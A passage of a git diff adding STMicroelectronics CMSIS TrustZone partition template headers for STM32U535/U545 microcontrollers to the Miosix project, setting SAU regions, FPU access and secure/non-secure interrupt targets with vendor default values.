GPDMA1_Channel1_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel2_IRQn <0=> Secure state <1=> Non-Secure state +*/ +#define NVIC_INIT_ITNS0_VAL 0x00000000 + +/* +// +*/ + +/* +// Initialize ITNS 1 (Interrupts 32..63) +*/ +#define NVIC_INIT_ITNS1 1 + +/* +// Interrupts 32..63 +// GPDMA1_Channel3_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel4_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel5_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel6_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel7_IRQn <0=> Secure state <1=> Non-Secure state +// ADC1_IRQn <0=> Secure state <1=> Non-Secure state +// DAC1_IRQn <0=> Secure state <1=> Non-Secure state +// FDCAN1_IT0_IRQn <0=> Secure state <1=> Non-Secure state +// FDCAN1_IT1_IRQn <0=> Secure state <1=> Non-Secure state +// TIM1_BRK_IRQn <0=> Secure state <1=> Non-Secure state +// TIM1_UP_IRQn <0=> Secure state <1=> Non-Secure state +// TIM1_TRG_COM_IRQn <0=> Secure state <1=> Non-Secure state +// TIM1_CC_IRQn <0=> Secure state <1=> Non-Secure state +// TIM2_IRQn <0=> Secure state <1=> Non-Secure state +// TIM3_IRQn <0=> Secure state <1=> Non-Secure state +// TIM4_IRQn <0=> Secure state <1=> Non-Secure state +// TIM5_IRQn <0=> Secure state <1=> Non-Secure state +// TIM6_IRQn <0=> Secure state <1=> Non-Secure state +// TIM7_IRQn <0=> Secure state <1=> Non-Secure state +// TIM8_BRK_IRQn <0=> Secure state <1=> Non-Secure state +// TIM8_UP_IRQn <0=> Secure state <1=> Non-Secure state +// TIM8_TRG_COM_IRQn <0=> Secure state <1=> Non-Secure state +// TIM8_CC_IRQn <0=> Secure state <1=> Non-Secure state +// I2C1_EV_IRQn <0=> Secure state <1=> Non-Secure state +// I2C1_ER_IRQn <0=> Secure state <1=> Non-Secure state +// I2C2_EV_IRQn <0=> Secure state <1=> Non-Secure state +// I2C2_ER_IRQn <0=> Secure state <1=> Non-Secure state +// SPI1_IRQn <0=> Secure state <1=> Non-Secure state +// SPI2_IRQn <0=> Secure state <1=> Non-Secure state +// USART1_IRQn <0=> Secure state <1=> Non-Secure state +// USART3_IRQn <0=> Secure state <1=> Non-Secure state +*/ +#define NVIC_INIT_ITNS1_VAL 0x00000000 + +/* +// +*/ + +/* +// Initialize ITNS 2 (Interrupts 64..95) +*/ +#define NVIC_INIT_ITNS2 1 + +/* +// Interrupts 64..95 +// UART4_IRQn <0=> Secure state <1=> Non-Secure state +// UART5_IRQn <0=> Secure state <1=> Non-Secure state +// LPUART1_IRQn <0=> Secure state <1=> Non-Secure state +// LPTIM1_IRQn <0=> Secure state <1=> Non-Secure state +// LPTIM2_IRQn <0=> Secure state <1=> Non-Secure state +// TIM15_IRQn <0=> Secure state <1=> Non-Secure state +// TIM16_IRQn <0=> Secure state <1=> Non-Secure state +// TIM17_IRQn <0=> Secure state <1=> Non-Secure state +// COMP_IRQn <0=> Secure state <1=> Non-Secure state +// USB_IRQn <0=> Secure state <1=> Non-Secure state +// CRS_IRQn <0=> Secure state <1=> Non-Secure state +// OCTOSPI1_IRQn <0=> Secure state <1=> Non-Secure state +// PWR_S3WU_IRQn <0=> Secure state <1=> Non-Secure state +// SDMMC1_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel8_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel9_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel10_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel11_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel12_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel13_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel14_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel15_IRQn <0=> Secure state <1=> Non-Secure state +// I2C3_EV_IRQn <0=> Secure state <1=> Non-Secure state +// I2C3_ER_IRQn <0=> Secure state <1=> Non-Secure state +// SAI1_IRQn <0=> Secure state <1=> Non-Secure state +// TSC_IRQn <0=> Secure state <1=> Non-Secure state +// RNG_IRQn <0=> Secure state <1=> Non-Secure state +// FPU_IRQn <0=> Secure state <1=> Non-Secure state +*/ +#define NVIC_INIT_ITNS2_VAL 0x00000000 + +/* +// +*/ + +/* +// Initialize ITNS 3 (Interrupts 96..125) +*/ +#define NVIC_INIT_ITNS3 1 + +/* +// Interrupts 96..125 +// HASH_IRQn <0=> Secure state <1=> Non-Secure state +// LPTIM3_IRQn <0=> Secure state <1=> Non-Secure state +// SPI3_IRQn <0=> Secure state <1=> Non-Secure state +// I2C4_ER_IRQn <0=> Secure state <1=> Non-Secure state +// I2C4_EV_IRQn <0=> Secure state <1=> Non-Secure state +// MDF1_FLT0_IRQn <0=> Secure state <1=> Non-Secure state +// MDF1_FLT1_IRQn <0=> Secure state <1=> Non-Secure state +// ICACHE_IRQn <0=> Secure state <1=> Non-Secure state +// LPTIM4_IRQn <0=> Secure state <1=> Non-Secure state +// DCACHE1_IRQn <0=> Secure state <1=> Non-Secure state +// ADF1_IRQn <0=> Secure state <1=> Non-Secure state +// ADC4_IRQn <0=> Secure state <1=> Non-Secure state +// LPDMA1_Channel0_IRQn <0=> Secure state <1=> Non-Secure state +// LPDMA1_Channel1_IRQn <0=> Secure state <1=> Non-Secure state +// LPDMA1_Channel2_IRQn <0=> Secure state <1=> Non-Secure state +// LPDMA1_Channel3_IRQn <0=> Secure state <1=> Non-Secure state +// DCMI_PSSI_IRQn <0=> Secure state <1=> Non-Secure state +// CORDIC_IRQn <0=> Secure state <1=> Non-Secure state +// FMAC_IRQn <0=> Secure state <1=> Non-Secure state +// LSECSSD_IRQn <0=> Secure state <1=> Non-Secure state +*/ +#define NVIC_INIT_ITNS3_VAL 0x00000000 + +/* +// +*/ + +/* +// +*/ + +/* + max 8 SAU regions. + SAU regions are defined in partition.h + */ + +#define SAU_INIT_REGION(n) \ + SAU->RNR = (n & SAU_RNR_REGION_Msk); \ + SAU->RBAR = (SAU_INIT_START##n & SAU_RBAR_BADDR_Msk); \ + SAU->RLAR = (SAU_INIT_END##n & SAU_RLAR_LADDR_Msk) | \ + ((SAU_INIT_NSC##n << SAU_RLAR_NSC_Pos) & SAU_RLAR_NSC_Msk) | 1U + +/** + \brief Setup a SAU Region + \details Writes the region information contained in SAU_Region to the + registers SAU_RNR, SAU_RBAR, and SAU_RLAR + */ +__STATIC_INLINE void TZ_SAU_Setup (void) +{ + +#if defined (__SAUREGION_PRESENT) && (__SAUREGION_PRESENT == 1U) + + #if defined (SAU_INIT_REGION0) && (SAU_INIT_REGION0 == 1U) + SAU_INIT_REGION(0); + #endif + + #if defined (SAU_INIT_REGION1) && (SAU_INIT_REGION1 == 1U) + SAU_INIT_REGION(1); + #endif + + #if defined (SAU_INIT_REGION2) && (SAU_INIT_REGION2 == 1U) + SAU_INIT_REGION(2); + #endif + + #if defined (SAU_INIT_REGION3) && (SAU_INIT_REGION3 == 1U) + SAU_INIT_REGION(3); + #endif + + #if defined (SAU_INIT_REGION4) && (SAU_INIT_REGION4 == 1U) + SAU_INIT_REGION(4); + #endif + + #if defined (SAU_INIT_REGION5) && (SAU_INIT_REGION5 == 1U) + SAU_INIT_REGION(5); + #endif + + #if defined (SAU_INIT_REGION6) && (SAU_INIT_REGION6 == 1U) + SAU_INIT_REGION(6); + #endif + + #if defined (SAU_INIT_REGION7) && (SAU_INIT_REGION7 == 1U) + SAU_INIT_REGION(7); + #endif + + /* repeat this for all possible SAU regions */ + +#endif /* defined (__SAUREGION_PRESENT) && (__SAUREGION_PRESENT == 1U) */ + + + #if defined (SAU_INIT_CTRL) && (SAU_INIT_CTRL == 1U) + SAU->CTRL = ((SAU_INIT_CTRL_ENABLE << SAU_CTRL_ENABLE_Pos) & SAU_CTRL_ENABLE_Msk) | + ((SAU_INIT_CTRL_ALLNS << SAU_CTRL_ALLNS_Pos) & SAU_CTRL_ALLNS_Msk) ; + #endif + + #if defined (SCB_CSR_AIRCR_INIT) && (SCB_CSR_AIRCR_INIT == 1U) + SCB->SCR = (SCB->SCR & ~(SCB_SCR_SLEEPDEEPS_Msk )) | + ((SCB_CSR_DEEPSLEEPS_VAL << SCB_SCR_SLEEPDEEPS_Pos) & SCB_SCR_SLEEPDEEPS_Msk); + + SCB->AIRCR = (SCB->AIRCR & ~(SCB_AIRCR_VECTKEY_Msk | SCB_AIRCR_SYSRESETREQS_Msk | + SCB_AIRCR_BFHFNMINS_Msk | SCB_AIRCR_PRIS_Msk) ) | + ((0x05FAU << SCB_AIRCR_VECTKEY_Pos) & SCB_AIRCR_VECTKEY_Msk) | + ((SCB_AIRCR_SYSRESETREQS_VAL << SCB_AIRCR_SYSRESETREQS_Pos) & SCB_AIRCR_SYSRESETREQS_Msk) | + ((SCB_AIRCR_PRIS_VAL << SCB_AIRCR_PRIS_Pos) & SCB_AIRCR_PRIS_Msk) | + ((SCB_AIRCR_BFHFNMINS_VAL << SCB_AIRCR_BFHFNMINS_Pos) & SCB_AIRCR_BFHFNMINS_Msk); + #endif /* defined (SCB_CSR_AIRCR_INIT) && (SCB_CSR_AIRCR_INIT == 1U) */ + + #if defined (__FPU_USED) && (__FPU_USED == 1U) && \ + defined (TZ_FPU_NS_USAGE) && (TZ_FPU_NS_USAGE == 1U) + + SCB->NSACR = (SCB->NSACR & ~(SCB_NSACR_CP10_Msk | SCB_NSACR_CP11_Msk)) | + ((SCB_NSACR_CP10_11_VAL << SCB_NSACR_CP10_Pos) & (SCB_NSACR_CP10_Msk | SCB_NSACR_CP11_Msk)); + + FPU->FPCCR = (FPU->FPCCR & ~(FPU_FPCCR_TS_Msk | FPU_FPCCR_CLRONRETS_Msk | FPU_FPCCR_CLRONRET_Msk)) | + ((FPU_FPCCR_TS_VAL << FPU_FPCCR_TS_Pos ) & FPU_FPCCR_TS_Msk ) | + ((FPU_FPCCR_CLRONRETS_VAL << FPU_FPCCR_CLRONRETS_Pos) & FPU_FPCCR_CLRONRETS_Msk) | + ((FPU_FPCCR_CLRONRET_VAL << FPU_FPCCR_CLRONRET_Pos ) & FPU_FPCCR_CLRONRET_Msk ); + #endif + + #if defined (NVIC_INIT_ITNS0) && (NVIC_INIT_ITNS0 == 1U) + NVIC->ITNS[0] = NVIC_INIT_ITNS0_VAL; + #endif + + #if defined (NVIC_INIT_ITNS1) && (NVIC_INIT_ITNS1 == 1U) + NVIC->ITNS[1] = NVIC_INIT_ITNS1_VAL; + #endif + + #if defined (NVIC_INIT_ITNS2) && (NVIC_INIT_ITNS2 == 1U) + NVIC->ITNS[2] = NVIC_INIT_ITNS2_VAL; + #endif + + #if defined (NVIC_INIT_ITNS3) && (NVIC_INIT_ITNS3 == 1U) + NVIC->ITNS[3] = NVIC_INIT_ITNS3_VAL; + #endif + +} + +#endif /* PARTITION_STM32U535XX_H */ diff --git a/miosix/arch/CMSIS/Device/ST/STM32U5xx/Include/Templates/partition_stm32u545xx.h b/miosix/arch/CMSIS/Device/ST/STM32U5xx/Include/Templates/partition_stm32u545xx.h new file mode 100644 index 000000000..641036112 --- /dev/null +++ b/miosix/arch/CMSIS/Device/ST/STM32U5xx/Include/Templates/partition_stm32u545xx.h @@ -0,0 +1,651 @@ +/** + ****************************************************************************** + * @file partition_stm32u545xx.h + * @author MCD Application Team + * @brief CMSIS STM32U545xx Device Initial Setup for Secure / Non-Secure Zones + * for ARMCM33 based on CMSIS CORE partition_ARMCM33.h Template. + * + * This file contains: + * - Initialize Security Attribution Unit (SAU) CTRL register + * - Setup behavior of Sleep and Exception Handling + * - Setup behavior of Floating Point Unit + * - Setup Interrupt Target + * + ****************************************************************************** + * Copyright (c) 2009-2019 Arm Limited. All rights reserved. + * Copyright (c) 2023 STMicroelectronics. All rights reserved. + * + * SPDX-License-Identifier: Apache-2.0 + * + * Licensed under the Apache License, Version 2.0 (the License); you may + * not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an AS IS BASIS, WITHOUT + * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ****************************************************************************** + */ + +#ifndef PARTITION_STM32U545XX_H +#define PARTITION_STM32U545XX_H + +/* +//-------- <<< Use Configuration Wizard in Context Menu >>> ----------------- +*/ + +/* +// Initialize Security Attribution Unit (SAU) CTRL register +*/ +#define SAU_INIT_CTRL 1 + +/* +// Enable SAU +// Value for SAU->CTRL register bit ENABLE +*/ +#define SAU_INIT_CTRL_ENABLE 0 + +/* +// When SAU is disabled +// <0=> All Memory is Secure +// <1=> All Memory is Non-Secure +// Value for SAU->CTRL register bit ALLNS +// When all Memory is Non-Secure (ALLNS is 1), IDAU can override memory map configuration. +*/ +#define SAU_INIT_CTRL_ALLNS 1 + +/* +// +*/ + +/* +// Initialize Security Attribution Unit (SAU) Address Regions +// SAU configuration specifies regions to be one of: +// - Secure and Non-Secure Callable +// - Non-Secure +// Note: All memory regions not configured by SAU are Secure +*/ +#define SAU_REGIONS_MAX 8 /* Max. number of SAU regions */ + +/* +// Initialize SAU Region 0 +// Setup SAU Region 0 memory attributes +*/ +#define SAU_INIT_REGION0 0 + +/* +// Start Address <0-0xFFFFFFE0> +*/ +#define SAU_INIT_START0 0x0C03E000 /* start address of SAU region 0 */ + +/* +// End Address <0x1F-0xFFFFFFFF> +*/ +#define SAU_INIT_END0 0x0C03FFFF /* end address of SAU region 0 */ + +/* +// Region is +// <0=>Non-Secure +// <1=>Secure, Non-Secure Callable +*/ +#define SAU_INIT_NSC0 1 +/* +// +*/ + +/* +// Initialize SAU Region 1 +// Setup SAU Region 1 memory attributes +*/ +#define SAU_INIT_REGION1 0 + +/* +// Start Address <0-0xFFFFFFE0> +*/ +#define SAU_INIT_START1 0x08040000 /* start address of SAU region 1 */ + +/* +// End Address <0x1F-0xFFFFFFFF> +*/ +#define SAU_INIT_END1 0x0807FFFF /* end address of SAU region 1 */ + +/* +// Region is +// <0=>Non-Secure +// <1=>Secure, Non-Secure Callable +*/ +#define SAU_INIT_NSC1 0 +/* +// +*/ + +/* +// Initialize SAU Region 2 +// Setup SAU Region 2 memory attributes +*/ +#define SAU_INIT_REGION2 0 + +/* +// Start Address <0-0xFFFFFFE0> +*/ +#define SAU_INIT_START2 0x20030000 /* start address of SAU region 2 */ + +/* +// End Address <0x1F-0xFFFFFFFF> +*/ +#define SAU_INIT_END2 0x2003FFFF /* end address of SAU region 2 */ + +/* +// Region is +// <0=>Non-Secure +// <1=>Secure, Non-Secure Callable +*/ +#define SAU_INIT_NSC2 0 +/* +// +*/ + +/* +// Initialize SAU Region 3 +// Setup SAU Region 3 memory attributes +*/ +#define SAU_INIT_REGION3 0 + +/* +// Start Address <0-0xFFFFFFE0> +*/ +#define SAU_INIT_START3 0x40000000 /* start address of SAU region 3 */ + +/* +// End Address <0x1F-0xFFFFFFFF> +*/ +#define SAU_INIT_END3 0x4FFFFFFF /* end address of SAU region 3 */ + +/* +// Region is +// <0=>Non-Secure +// <1=>Secure, Non-Secure Callable +*/ +#define SAU_INIT_NSC3 0 +/* +// +*/ + +/* +// Initialize SAU Region 4 +// Setup SAU Region 4 memory attributes +*/ +#define SAU_INIT_REGION4 0 + +/* +// Start Address <0-0xFFFFFFE0> +*/ +#define SAU_INIT_START4 0x90000000 /* start address of SAU region 4 */ + +/* +// End Address <0x1F-0xFFFFFFFF> +*/ +#define SAU_INIT_END4 0x9FFFFFFF /* end address of SAU region 4 */ + +/* +// Region is +// <0=>Non-Secure +// <1=>Secure, Non-Secure Callable +*/ +#define SAU_INIT_NSC4 0 +/* +// +*/ + +/* +// Initialize SAU Region 5 +// Setup SAU Region 5 memory attributes +*/ +#define SAU_INIT_REGION5 0 + +/* +// Start Address <0-0xFFFFFFE0> +*/ +#define SAU_INIT_START5 0x0BF90000 /* start address of SAU region 5 */ + +/* +// End Address <0x1F-0xFFFFFFFF> +*/ +#define SAU_INIT_END5 0x0BFA8FFF /* end address of SAU region 5 */ + +/* +// Region is +// <0=>Non-Secure +// <1=>Secure, Non-Secure Callable +*/ +#define SAU_INIT_NSC5 0 +/* +// +*/ + +/* +// Initialize SAU Region 6 +// Setup SAU Region 6 memory attributes +*/ +#define SAU_INIT_REGION6 0 + +/* +// Start Address <0-0xFFFFFFE0> +*/ +#define SAU_INIT_START6 0x00000000 /* start address of SAU region 6 */ + +/* +// End Address <0x1F-0xFFFFFFFF> +*/ +#define SAU_INIT_END6 0x00000000 /* end address of SAU region 6 */ + +/* +// Region is +// <0=>Non-Secure +// <1=>Secure, Non-Secure Callable +*/ +#define SAU_INIT_NSC6 0 +/* +// +*/ + +/* +// Initialize SAU Region 7 +// Setup SAU Region 7 memory attributes +*/ +#define SAU_INIT_REGION7 0 + +/* +// Start Address <0-0xFFFFFFE0> +*/ +#define SAU_INIT_START7 0x00000000 /* start address of SAU region 7 */ + +/* +// End Address <0x1F-0xFFFFFFFF> +*/ +#define SAU_INIT_END7 0x00000000 /* end address of SAU region 7 */ + +/* +// Region is +// <0=>Non-Secure +// <1=>Secure, Non-Secure Callable +*/ +#define SAU_INIT_NSC7 0 +/* +// +*/ + +/* +// +*/ + +/* +// Setup behaviour of Sleep and Exception Handling +*/ +#define SCB_CSR_AIRCR_INIT 0 + +/* +// Deep Sleep can be enabled by +// <0=>Secure and Non-Secure state +// <1=>Secure state only +// Value for SCB->CSR register bit DEEPSLEEPS +*/ +#define SCB_CSR_DEEPSLEEPS_VAL 0 + +/* +// System reset request accessible from +// <0=> Secure and Non-Secure state +// <1=> Secure state only +// Value for SCB->AIRCR register bit SYSRESETREQS +*/ +#define SCB_AIRCR_SYSRESETREQS_VAL 0 + +/* +// Priority of Non-Secure exceptions is +// <0=> Not altered +// <1=> Lowered to 0x04-0x07 +// Value for SCB->AIRCR register bit PRIS +*/ +#define SCB_AIRCR_PRIS_VAL 0 + +/* +// BusFault, HardFault, and NMI target +// <0=> Secure state +// <1=> Non-Secure state +// Value for SCB->AIRCR register bit BFHFNMINS +*/ +#define SCB_AIRCR_BFHFNMINS_VAL 0 + +/* +// +*/ + +/* +// Setup behaviour of Floating Point Unit +*/ +#define TZ_FPU_NS_USAGE 1 + +/* +// Floating Point Unit usage +// <0=> Secure state only +// <3=> Secure and Non-Secure state +// Value for SCB->NSACR register bits CP10, CP11 +*/ +#define SCB_NSACR_CP10_11_VAL 3 + +/* +// Treat floating-point registers as Secure +// <0=> Disabled +// <1=> Enabled +// Value for FPU->FPCCR register bit TS +*/ +#define FPU_FPCCR_TS_VAL 0 + +/* +// Clear on return (CLRONRET) accessibility +// <0=> Secure and Non-Secure state +// <1=> Secure state only +// Value for FPU->FPCCR register bit CLRONRETS +*/ +#define FPU_FPCCR_CLRONRETS_VAL 0 + +/* +// Clear floating-point caller saved registers on exception return +// <0=> Disabled +// <1=> Enabled +// Value for FPU->FPCCR register bit CLRONRET +*/ +#define FPU_FPCCR_CLRONRET_VAL 1 + +/* +// +*/ + +/* +// Setup Interrupt Target +*/ + +/* +// Initialize ITNS 0 (Interrupts 0..31) +*/ +#define NVIC_INIT_ITNS0 1 + +/* +// Interrupts 0..31 +// WWDG_IRQn <0=> Secure state <1=> Non-Secure state +// PVD_PVM_IRQn <0=> Secure state <1=> Non-Secure state +// RTC_IRQn <0=> Secure state <1=> Non-Secure state +// RTC_S_IRQn <0=> Secure state <1=> Non-Secure state +// TAMP_IRQn <0=> Secure state <1=> Non-Secure state +// RAMCFG_IRQn <0=> Secure state <1=> Non-Secure state +// FLASH_IRQn <0=> Secure state <1=> Non-Secure state +// FLASH_S_IRQn <0=> Secure state <1=> Non-Secure state +// GTZC_IRQn <0=> Secure state <1=> Non-Secure state +// RCC_IRQn <0=> Secure state <1=> Non-Secure state +// RCC_S_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI0_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI1_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI2_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI3_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI4_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI5_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI6_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI7_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI8_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI9_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI10_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI11_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI12_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI13_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI14_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI15_IRQn <0=> Secure state <1=> Non-Secure state +// IWDG_IRQn <0=> Secure state <1=> Non-Secure state +// SAES_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel0_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel1_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel2_IRQn <0=> Secure state <1=> Non-Secure state +*/ +#define NVIC_INIT_ITNS0_VAL 0x00000000 + +/* +// +*/ + +/* +// Initialize ITNS 1 (Interrupts 32..63) +*/ +#define NVIC_INIT_ITNS1 1 + +/* +// Interrupts 32..63 +// GPDMA1_Channel3_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel4_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel5_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel6_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel7_IRQn <0=> Secure state <1=> Non-Secure state +// ADC1_IRQn <0=> Secure state <1=> Non-Secure state +// DAC1_IRQn <0=> Secure state <1=> Non-Secure state +// FDCAN1_IT0_IRQn <0=> Secure state <1=> Non-Secure state +// FDCAN1_IT1_IRQn <0=> Secure state <1=> Non-Secure state +// TIM1_BRK_IRQn <0=> Secure state <1=> Non-Secure state +// TIM1_UP_IRQn <0=> Secure state <1=> Non-Secure state +// TIM1_TRG_COM_IRQn <0=> Secure state <1=> Non-Secure state +// TIM1_CC_IRQn <0=> Secure state <1=> Non-Secure state +// TIM2_IRQn <0=> Secure state <1=> Non-Secure state +// TIM3_IRQn <0=> Secure state <1=> Non-Secure state +// TIM4_IRQn <0=> Secure state <1=> Non-Secure state +// TIM5_IRQn <0=> Secure state <1=> Non-Secure state +// TIM6_IRQn <0=> Secure state <1=> Non-Secure state +// TIM7_IRQn <0=> Secure state <1=> Non-Secure state +// TIM8_BRK_IRQn <0=> Secure state <1=> Non-Secure state +// TIM8_UP_IRQn <0=> Secure state <1=> Non-Secure state +// TIM8_TRG_COM_IRQn <0=> Secure state <1=> Non-Secure state +// TIM8_CC_IRQn <0=> Secure state <1=> Non-Secure state +// I2C1_EV_IRQn <0=> Secure state <1=> Non-Secure state +// I2C1_ER_IRQn <0=> Secure state <1=> Non-Secure state +// I2C2_EV_IRQn <0=> Secure state <1=> Non-Secure state +// I2C2_ER_IRQn <0=> Secure state <1=> Non-Secure state +// SPI1_IRQn <0=> Secure state <1=> Non-Secure state +// SPI2_IRQn <0=> Secure state <1=> Non-Secure state +// USART1_IRQn <0=> Secure state <1=> Non-Secure state +// USART3_IRQn <0=> Secure state <1=> Non-Secure state +*/ +#define NVIC_INIT_ITNS1_VAL 0x00000000 + +/* +// +*/ + +/* +// Initialize ITNS 2 (Interrupts 64..95) +*/ +#define NVIC_INIT_ITNS2 1 + +/* +// Interrupts 64..95 +// UART4_IRQn <0=> Secure state <1=> Non-Secure state +// UART5_IRQn <0=> Secure state <1=> Non-Secure state +// LPUART1_IRQn <0=> Secure state <1=> Non-Secure state +// LPTIM1_IRQn <0=> Secure state <1=> Non-Secure state +// LPTIM2_IRQn <0=> Secure state <1=> Non-Secure state +// TIM15_IRQn <0=> Secure state <1=> Non-Secure state +// TIM16_IRQn <0=> Secure state <1=> Non-Secure state +// TIM17_IRQn <0=> Secure state <1=> Non-Secure state +// COMP_IRQn <0=> Secure state <1=> Non-Secure state +// USB_IRQn <0=> Secure state <1=> Non-Secure state +// CRS_IRQn <0=> Secure state <1=> Non-Secure state +// OCTOSPI1_IRQn <0=> Secure state <1=> Non-Secure state +// PWR_S3WU_IRQn <0=> Secure state <1=> Non-Secure state +// SDMMC1_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel8_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel9_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel10_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel11_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel12_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel13_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel14_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel15_IRQn <0=> Secure state <1=> Non-Secure state +// I2C3_EV_IRQn <0=> Secure state <1=> Non-Secure state +// I2C3_ER_IRQn <0=> Secure state <1=> Non-Secure state +// SAI1_IRQn <0=> Secure state <1=> Non-Secure state +// TSC_IRQn <0=> Secure state <1=> Non-Secure state +// AES_IRQn <0=> Secure state <1=> Non-Secure state +// RNG_IRQn <0=> Secure state <1=> Non-Secure state +// FPU_IRQn <0=> Secure state <1=> Non-Secure state +*/ +#define NVIC_INIT_ITNS2_VAL 0x00000000 + +/* +// +*/ + +/* +// Initialize ITNS 3 (Interrupts 96..125) +*/ +#define NVIC_INIT_ITNS3 1 + +/* +// Interrupts 96..125 +// HASH_IRQn <0=> Secure state <1=> Non-Secure state +// PKA_IRQn <0=> Secure state <1=> Non-Secure state +// LPTIM3_IRQn <0=> Secure state <1=> Non-Secure state +// SPI3_IRQn <0=> Secure state <1=> Non-Secure state +// I2C4_ER_IRQn <0=> Secure state <1=> Non-Secure state +// I2C4_EV_IRQn <0=> Secure state <1=> Non-Secure state +// MDF1_FLT0_IRQn <0=> Secure state <1=> Non-Secure state +// MDF1_FLT1_IRQn <0=> Secure state <1=> Non-Secure state +// ICACHE_IRQn <0=> Secure state <1=> Non-Secure state +// OTFDEC1_IRQn <0=> Secure state <1=> Non-Secure state +// LPTIM4_IRQn <0=> Secure state <1=> Non-Secure state +// DCACHE1_IRQn <0=> Secure state <1=> Non-Secure state +// ADF1_IRQn <0=> Secure state <1=> Non-Secure state +// ADC4_IRQn <0=> Secure state <1=> Non-Secure state +// LPDMA1_Channel0_IRQn <0=> Secure state <1=> Non-Secure state +// LPDMA1_Channel1_IRQn <0=> Secure state <1=> Non-Secure state +// LPDMA1_Channel2_IRQn <0=> Secure state <1=> Non-Secure state +// LPDMA1_Channel3_IRQn <0=> Secure state <1=> Non-Secure state +// DCMI_PSSI_IRQn <0=> Secure state <1=> Non-Secure state +// CORDIC_IRQn <0=> Secure state <1=> Non-Secure state +// FMAC_IRQn <0=> Secure state <1=> Non-Secure state +// LSECSSD_IRQn <0=> Secure state <1=> Non-Secure state +*/ +#define NVIC_INIT_ITNS3_VAL 0x00000000 + +/* +// +*/ + +/* +// +*/ + +/* + max 8 SAU regions. + SAU regions are defined in partition.h + */ + +#define SAU_INIT_REGION(n) \ + SAU->RNR = (n & SAU_RNR_REGION_Msk); \ + SAU->RBAR = (SAU_INIT_START##n & SAU_RBAR_BADDR_Msk); \ + SAU->RLAR = (SAU_INIT_END##n & SAU_RLAR_LADDR_Msk) | \ + ((SAU_INIT_NSC##n << SAU_RLAR_NSC_Pos) & SAU_RLAR_NSC_Msk) | 1U + +/** + \brief Setup a SAU Region + \details Writes the region information contained in SAU_Region to the + registers SAU_RNR, SAU_RBAR, and SAU_RLAR + */ +__STATIC_INLINE void TZ_SAU_Setup (void) +{ + +#if defined (__SAUREGION_PRESENT) && (__SAUREGION_PRESENT == 1U) + + #if defined (SAU_INIT_REGION0) && (SAU_INIT_REGION0 == 1U) + SAU_INIT_REGION(0); + #endif + + #if defined (SAU_INIT_REGION1) && (SAU_INIT_REGION1 == 1U) + SAU_INIT_REGION(1); + #endif + + #if defined (SAU_INIT_REGION2) && (SAU_INIT_REGION2 == 1U) + SAU_INIT_REGION(2); + #endif + + #if defined (SAU_INIT_REGION3) && (SAU_INIT_REGION3 == 1U) + SAU_INIT_REGION(3); + #endif + + #if defined (SAU_INIT_REGION4) && (SAU_INIT_REGION4 == 1U) + SAU_INIT_REGION(4); + #endif + + #if defined (SAU_INIT_REGION5) && (SAU_INIT_REGION5 == 1U) + SAU_INIT_REGION(5); + #endif + + #if defined (SAU_INIT_REGION6) && (SAU_INIT_REGION6 == 1U) + SAU_INIT_REGION(6); + #endif + + #if defined (SAU_INIT_REGION7) && (SAU_INIT_REGION7 == 1U) + SAU_INIT_REGION(7); + #endif + + /* repeat this for all possible SAU regions */ + +#endif /* defined (__SAUREGION_PRESENT) && (__SAUREGION_PRESENT == 1U) */ + + + #if defined (SAU_INIT_CTRL) && (SAU_INIT_CTRL == 1U) + SAU->CTRL = ((SAU_INIT_CTRL_ENABLE << SAU_CTRL_ENABLE_Pos) & SAU_CTRL_ENABLE_Msk) | + ((SAU_INIT_CTRL_ALLNS << SAU_CTRL_ALLNS_Pos) & SAU_CTRL_ALLNS_Msk) ; + #endif + + #if defined (SCB_CSR_AIRCR_INIT) && (SCB_CSR_AIRCR_INIT == 1U) + SCB->SCR = 